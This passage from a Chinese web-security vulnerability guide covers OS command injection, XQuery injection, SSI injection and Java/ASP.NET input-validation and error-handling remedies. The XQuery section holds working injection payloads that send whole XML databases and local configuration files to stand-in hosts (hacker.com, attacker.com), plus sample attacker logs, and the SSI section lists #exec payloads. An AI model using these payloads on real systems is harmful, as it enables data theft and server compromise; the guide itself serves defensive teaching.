引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:

http://msdn2.microsoft.com/en-us/library/ms533046.aspx

[2] PHP 安全协会:

http://phpsec.org/

[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):

http://shiflett.org/ 

0x06 系统命令注入

技术描述:

该软件使用受外部影响的输入来构造操作系统命令的全部或一部分,但未能对可能修改所需操作系统命令的元素进行无害化处理。这样一来,攻击者就可以直接在操作系统上执行意外的危险命令。在攻击者没有对操作系统的直接访问权的情况下(例如在 Web 应用程序中),此弱点可能导致脆弱性。反过来说,如果该弱点发生在特权程序中,攻击者有可能能够指定通常不可访问的命令,或者通过攻击者不具备的特权调用替代命令。如果受到威胁的进程未遵循最低特权原则,那么该问题会变得更严重。其原因是攻击者控制的命令可能通过特定系统特权运行,这会加重危害。存在操作系统命令注入的至少两种子类型:

[1] 应用程序计划执行受其控制的单个固定程序。它计划使用外部提供的输入作为该程序的参数。例如,程序可能使用 system("nslookup [HOSTNAME]") 来运行 nslookup,并允许用户提供 HOSTNAME 以用作参数。攻击者无法阻止 nslookup 执行。但是,如果程序不从 HOSTNAME 参数中除去命令分隔符,攻击者就可以将分隔符放置到参数中,从而能够在 nslookup 完成执行后执行其自己的程序。[2] 应用程序接受输入,并将其用于完全地选择要运行的程序以及要使用的命令。应用程序只是将此完整命令重定向至操作系统。例如,程序可能使用“exec([COMMAND])”来执行用户提供的 [COMMAND]。如果 COMMAND 受到攻击者的控制,那么攻击者可以执行任意命令或程序。如果命令是使用 exec() 和 CreateProcess() 之类的函数执行的,攻击者可能无法将多个命令组合到同一行中。这些变体代表不同的程序员错误。在第一个变体中,程序员清楚地表明来自不可信方的输入将作为要执行的命令中的部分参数。在第二个变体中,程序员不希望命令可供任何不可信方访问,但可能未考虑到恶意攻击者可提供输入的其他方式。例如:某些脚本通过操作系统调用来运行命令。有时,URL 参数会用作命令的一部分。在这种情况下,就有可能注入将在操作系统上运行的代码。此类代码注入可能使用各种语法:

command1 | command2(使用 command1 的输出作为 command2 的输入 - 攻击形式将是 "| command")

command1 && command2(在 command1 的返回码为 true 的情况下运行 command2 - 攻击形式将是 "&& command")

command1 || command2(在 command1 的返回码为 false 的情况下运行 command2 - 攻击形式将是 "|| command")

有时,第一条命令包含在单引号 (') 或双引号 (") 中,因此要执行第二条命令,就需要首先将引号转义。通过使用这些变体,攻击者可尝试在主机上运行任意代码。


威胁影响:可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容


产生原因:未对用户输入正确执行危险字符清理


缓解修复:

[1] 如果可能,使用库调用而不是外部进程来创建所需功能。

[2] 策略:沙箱或监狱

在进程和操作系统之间强制实施严格边界的“监狱”或类似沙箱环境中运行代码。这可能会有效限制您的软件可访问特定目录中的哪些文件或者可以执行哪些命令。操作系统级别的示例包括 Unix chroot jail、AppArmor 和 SELinux。通常,受管代码可提供一定的保护。例如,Java SecurityManager 中的 java.io.FilePermission 允许您指定针对文件操作的限制。这可能不是可行的解决方案,并且它仅限制了对操作系统的影响;您的应用程序的其余部分仍有可能受到损害。请注意避免 CWE-243 以及与监狱相关的其他弱点。

[3] 策略:库或框架

使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

例如,考虑使用 ESAPI 编码控件

http://www.owasp.org/index.php/ESAPI

或类似的工具、库或框架。这些将帮助程序员以较少出错的方式对输出编码。

[4] 策略:输入验证

假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于针对恶意或格式错误的输入的黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。

执行输入验证时,请考虑所有潜在相关的属性,包括长度、输入类型、可接受的值的完整范围、缺少或多余的输入、语法、在相关字段之间是否一致以及是否遵守了业务规则。作为业务规则逻辑的示例,“boat”可能在语法上有效(因为它仅包含字母数字字符),但如果预期为颜色(如“red”或“blue”),那么它就无效。构造操作系统命令字符串时,请使用严格的白名单以根据请求中参数的预期值来限制字符集。这将间接限制攻击的范围,但是此技巧的重要性不及适当的输出编码和转义。

请注意,适当的输出编码、转义和引用是防止操作系统命令注入的最有效解决方案,虽然输入验证可能会提供一定的深度防御。这是因为,它会有效限制输出中出现的内容。输入验证并不总是能够防止操作系统命令注入,尤其是在您需要支持可包含任意字符的自由格式文本字段的情况下。例如,调用邮件程序时,您可能需要允许主题字段包含在其他情况下很危险的输入(如“;”和“>”字符),这些输入需要转义或以其他方式进行处理。在此情况下,除去该字符可能会降低操作系统命令注入的风险,但是这会产生不正确的行为,因为这样就不会按照用户的需要来记录主题字段。这可能看起来只是略有不便,但在程序依赖于结构良好的主题行以便向其他组件传递消息时,这种情况就更为重要。

即使在验证中出错(例如,在 100 个输入字段中忘记一个字段),相应的编码仍有可能针对基于注入的攻击为您提供防护。只要输入验证不是孤立完成的,便仍是有用的技巧,因为它可以大大减少攻击出现的机会,使您能够检测某些攻击,并提供正确编码所无法解决的其他安全性优势。[5] 策略:环境固化

使用完成必要任务所需的最低特权来运行代码。

https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html

. 如果可能,请使用仅用于单个任务的有限特权来创建孤立的帐户。这样,即使攻击成功,攻击者也无法立即访问软件或其环境的其余部分。例如,数据库应用程序很少需要以数据库管理员身份运行,特别是在日常操作中。

0x07 XQuery 注入

技术描述:

XQuery是XPath的超集,如果Xpath只是一个查询语言,XQuery是一个程序语言,可以声明自定义的功能、变量等等。类似XPath注入,XQuery注入在没有验证用户输入的情况下也会发生。一个程序使用用户名查询博客实体,后端使用XQuery查询XML数据。

查询实例,用户输入admin,在后台执行的查询为:

for $blogpost in//post[@author=’admin’]
 return
<div>
  <hr />
   <h3>{$blogpost/title}</h3><br/>
   <em>{$blogpost/content}</em>
  <hr />
 </div>

如果用户输入admin’] let $x :=/*[' ,注入后的查询结果为:

for $blogpost in//post[@author=’admin’]
 let $x := /*[‘’]
 return
<div>
  <hr />
   <h3>{$blogpost/title}</h3><br/>
   <em>{$blogpost/content}</em>
  <hr />
 </div>

攻击者可以在let $x := /*[‘’]中插入任何想执行语句都会在循环中执行,它会

通过所有当前执行文件中的元素循环发出一个GET请求到攻击者的服务器。

URL攻击

http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n%20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22%3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode-foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode-foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c%20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C%22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp%3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0Alet%20%24x%20%3A%3D%20/%2A%5B%27

上面的方法会重复的对攻击者的服务器发送请求,整个XML文档可以通过分析攻击者的服务器访问日志进行获取。

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

通过分析拼接的XML为:

<posts>
<postauthor="admin">
<title>Test</title>
<content>My firstblog post!</content>
</post>
<postauthor="admin">
<title>My blog isnow live!</title>
<content>Welcometo my blog! Please stay away hackers</content>
</post>
</posts>

Exist-DB

Exist-DB是一个本地XML数据库,允许应用程序使用不同的技术(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存储、查询和更新XML数据。区别于其他传统的数据库(定义自己的查询协议),Exist-DB使用基于HTTP的接口进行查询,如REST, XML-RPC, WebDAV 和SOAP。

执行一个GET请求,返回一个XML的节点。

还是之前用户博客的查询,假设现在使用的是Exist-DB,HTTP查询请求如下

http://www.vulnhost.com/viewposts?username=admin

后台XPath表达式

doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*

上面查询//posts[@author=’admin’]会返回所有admin的文章,Exist-DB是一个成熟的数据库并且在很好的支持XPath,如果username变量没有进行净化,攻击者可以获取根节点的内容:

http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1

这条语句会携带根节点发名字请求攻击者的服务器

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
 doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
 or '1'= '1']")))/*[1]

攻击者可以使用上面的技术获得受害服务器的配置信息。

EXist-DB有一个可扩展的模块,它允许程序员用Java编写的模块创建新的XPath/XQuery函数。通过让邮件模块或其他SMTP服务器,I/O文件系统发送电子邮件。以及支持多种HTTP方法,利用LDAP客户端模块,或在在OracleRDBMS执行Oracle的PL/ SQL存储过程等等。这些模块功能强大,但通常这些模块在默认情况下是禁用的。

HTTP模块很有趣,因为它是两个非常强大的,默认情况下启用。攻击者可以简单地使用它来发送序列化根节点(整个文档)到攻击者的服务器,从而在一次操作中获取整个数据库。

http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1

在服务器后台的查询如下

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]

可以通过DOC功能使HTTP客户端发送任意的本地XML文件到攻击者的服务器

Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())
威胁影响:可能会访问存储在敏感数据资源中的信息

产生原因:可能会访问存储在敏感数据资源中的信息


缓解修复:

净化用户输入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()这些函数需要特别注意
使用参数化的查询,如Java的Xpath表达式
/root/element[@id=$ID]
限制doc()功能

0x08 SSI 注入

技术描述:

当符合下列条件时,攻击者可以在 Web 服务器上运行任意命令:

A. Web 服务器已支持 SSI(服务器端包含)。

B. Web 应用程序在返回 HTML 页面时,嵌入用户输入。

C. 参数值未进行输入清理。


例如,如果脚本接收文本输入,供 Web 服务器稍后处理,下列由 SSI 命令组成的输入便会侵害服务器的安全:

<!--#include file=""...""-->(会显示给定的文件)

<!--#exec cmd=""...""-->(会执行给定的 shell 命令)

请注意,AppScan 会测试是否包含特定文件。虽然这项测试不一定成功包含文件,但可能产生 SSI 错误。因此,虽然测试未成功,但由于该攻击已在 SSI 环境中经过评估,因此该错误仍会显示可能已顺利包含其他文件,或已执行其他命令。


威胁影响:可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容

产生原因:未对用户输入正确执行危险字符清理

缓解修复:

[1] 清理用户输入 - 禁止可能支持 SSI 的模式/字符。

[2] 由于 SSI 会带来许多安全风险,建议您不在 Web 站点中使用 SSI。

Asp.Net

您可以使用验证控件,将输入验证添加到“Web 表单”页面。验证控件提供适用于标准验证的所有常见类型的易用机制;例如,测试验证日期是否有效,或验证值是否在范围内。此外,还有一些方法可以提供定制编写验证,验证控件也可让您完整定制向用户显示错误信息的方式。验证控件可搭配“Web 表单”页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。

要确保用户输入仅包含有效值,您可以使用以下验证控件中的一种:


[1] "RangeValidator":检查用户的输入值是否在指定的上下界限之间。您可以检查配对数字、字母字符和日期内的范围。

[2] “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。

重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。

有两种方法可检查用户输入的有效性:

1. 测试常规错误状态:


在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。

2. 测试个别控件的错误状态:


在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。


J2EE

** 输入数据验证:虽然为了用户的方便,可以提供“客户端”层数据的数据验证,但必须使用 Servlet 在服务器层执行验证。 客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。


如何验证必需字段的示例:

  // Java example to validate required fields
  public Class Validator {
      ...
      public static boolean validateRequired(String value) {
          boolean isFieldValid = false;
          if (value != null && value.trim().length() > 0) {
              isFieldValid = true;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateRequired(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

  // Java example to validate that a field is an int number
  public Class Validator {
      ...
      public static boolean validateInt(String value) {
          boolean isFieldValid = false;
          try {
              Integer.parseInt(value);
              isFieldValid = true;
          } catch (Exception e) {
              isFieldValid = false;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  // check if the HTTP request parameter is of type int
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:

  // Example to convert the HTTP request parameter to a primitive wrapper data type
  // and store this value in a request attribute for further processing
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // convert fieldValue to an Integer
      Integer integerValue = Integer.getInteger(fieldValue);
      // store integerValue in a request attribute
      request.setAttribute("fieldName", integerValue);
  }
  ...
  // Use the request attribute for further processing
  Integer integerValue = (Integer)request.getAttribute("fieldName");
  ...

应用程序应处理的主要 Java 数据类型(如上所述):

- Byte

- Short

- Integer

- Long

- Float

- Double

- Date


[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

  // Example to validate the field length
  public Class Validator {
      ...
      public static boolean validateLength(String value, int minLength, int maxLength) {
          String validatedValue = value;
          if (!validateRequired(value)) {
              validatedValue = "";
          }
          return (validatedValue.length() >= minLength &&
                      validatedValue.length() <= maxLength);
      }
      ...
  }
  ...
  String userName = request.getParameter("userName");
  if (Validator.validateRequired(userName)) {
      if (Validator.validateLength(userName, 8, 20)) {
          // userName is valid, continue further processing
          ...
      }
  }

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

  // Example to validate the field range
  public Class Validator {
      ...
      public static boolean validateRange(int value, int min, int max) {
          return (value >= min && value <= max);
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("numberOfChoices");
  if (Validator.validateRequired(fieldValue)) {
      if (Validator.validateInt(fieldValue)) {
          int numberOfChoices = Integer.parseInt(fieldValue);
          if (Validator.validateRange(numberOfChoices, 10, 20)) {
              // numberOfChoices is valid, continue processing request
              ...
          }
      }
  }

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

  // Example to validate user selection against a list of options
  public Class Validator {
      ...
      public static boolean validateOption(Object[] options, Object value) {
          boolean isValidValue = false;
          try {
              List list = Arrays.asList(options);
              if (list != null) {
                  isValidValue = list.contains(value);
              }
          } catch (Exception e) {
          }
          return isValidValue;
      }
      ...
  }
  ...
  // Allowed options
  String[] options = {"option1", "option2", "option3");
  // Verify that the user selection is one of the allowed options
  String userSelection = request.getParameter("userSelection");
  if (Validator.validateOption(options, userSelection)) {
      // valid user selection, continue processing request
      ...
  }

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$


Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。


执行正则表达式验证的示例:

  // Example to validate that a given value matches a specified pattern
  // using the Apache regular expression package
  import org.apache.regexp.RE;
  import org.apache.regexp.RESyntaxException;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
               RE r = new RE(expression);
               match = r.match(value);             
          }
          return match;
      }
      ...
  }
  ...
  // Verify that the userName request parameter is alpha-numeric
  String userName = request.getParameter("userName");
  if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      // userName is valid, continue processing request
      ...
  }

Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

  // Example to validate that a given value matches a specified pattern
  // using the Java 1.4 regular expression package
  import java.util.regex.Pattern;
  import java.util.regexe.Matcher;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
              match = Pattern.matches(expression, value);
          }
          return match;
      }
      ...
  }

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。


验证必需 cookie 值的示例:

  // Example to validate a required cookie value
  // First retrieve all available cookies submitted in the HTTP request
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      // find the "user" cookie
      for (int i=0; i<cookies.length; ++i) {
          if (cookies[i].getName().equals("user")) {
              // validate the cookie value
              if (Validator.validateRequired(cookies[i].getValue()) {
                  // valid cookie value, continue processing request
                  ...
              }
          }    
      }
  }

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

  // Example to filter sensitive data to prevent cross-site scripting
  public Class Validator {
      ...
      public static String filter(String value) {
          if (value == null) {
              return null;
          }        
          StringBuffer result = new StringBuffer(value.length());
          for (int i=0; i<value.length(); ++i) {
              switch (value.charAt(i)) {
              case '<':
                  result.append("&lt;");
                  break;
              case '>': 
                  result.append("&gt;");
                  break;
              case '"': 
                  result.append("&quot;");
                  break;
              case '\'': 
                  result.append("&#39;");
                  break;
              case '%': 
                  result.append("&#37;");
                  break;
              case ';': 
                  result.append("&#59;");
                  break;
              case '(': 
                  result.append("&#40;");
                  break;
              case ')': 
                  result.append("&#41;");
                  break;
              case '&': 
                  result.append("&amp;");
                  break;
              case '+':
                  result.append("&#43;");
                  break;
              default:
                  result.append(value.charAt(i));
                  break;
          }        
          return result;
      }
      ...
  }
  ...
  // Filter the HTTP response using Validator.filter
  PrintWriter out = response.getWriter();
  // set output response
  out.write(Validator.filter(response));
  out.close();

Java Servlet API 2.3 引进了“过滤器”,它支持拦截和转换 HTTP 请求或响应。

以下示例使用 Validator.filter 来用“Servlet 过滤器”清理响应:

  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {
  
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
  
          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;
  
          public String toString() {
              return output.toString();
          }
      
          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }
          
          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  } 
  
  }

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。

保护“用户”cookie 的示例:

  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。

range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。

minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date:如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard:如果值可以是有效的信用卡号码,便告成功。

e-mail:如果值可以是有效的电子邮件地址,便告成功。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。

JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:

validate_doublerange:在组件上注册 DoubleRangeValidator。

validate_length:在组件上注册 LengthValidator。

validate_longrange:在组件上注册 LongRangeValidator。

validate_required:在组件上注册 RequiredValidator。

validate_stringrange:在组件上注册 StringRangeValidator。

validator:在组件上注册定制的 Validator。

JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date。

output_date:显示以 java.text.Date 实例格式化的 java.util.Date。

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。

output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。

output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。

input_text:接受单行文本字符串。

output_text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。

output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。

input_hidden:允许页面作者在页面中包括隐藏变量。

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号。

input_textarea:接受多行文本。

output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

output_label:将嵌套的组件显示为指定输入字段的标签。

output_message:显示本地化消息。


使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>


引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循“模型视图控制器(MVC)”模式。在该模式中,Servlet 扮演“控制器”的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

[1] 定义错误

[2] 报告错误

[3] 呈现错误

[4] 错误映射

[1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要“user_name”字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

(a) ERROR_USERNAME_REQUIRED:该错误密钥用于显示消息,以通知用户需要“user_name”字段;

(b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户“user_name”字段应该是字母数字;

(c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户“user_name”值在数据库中重复;

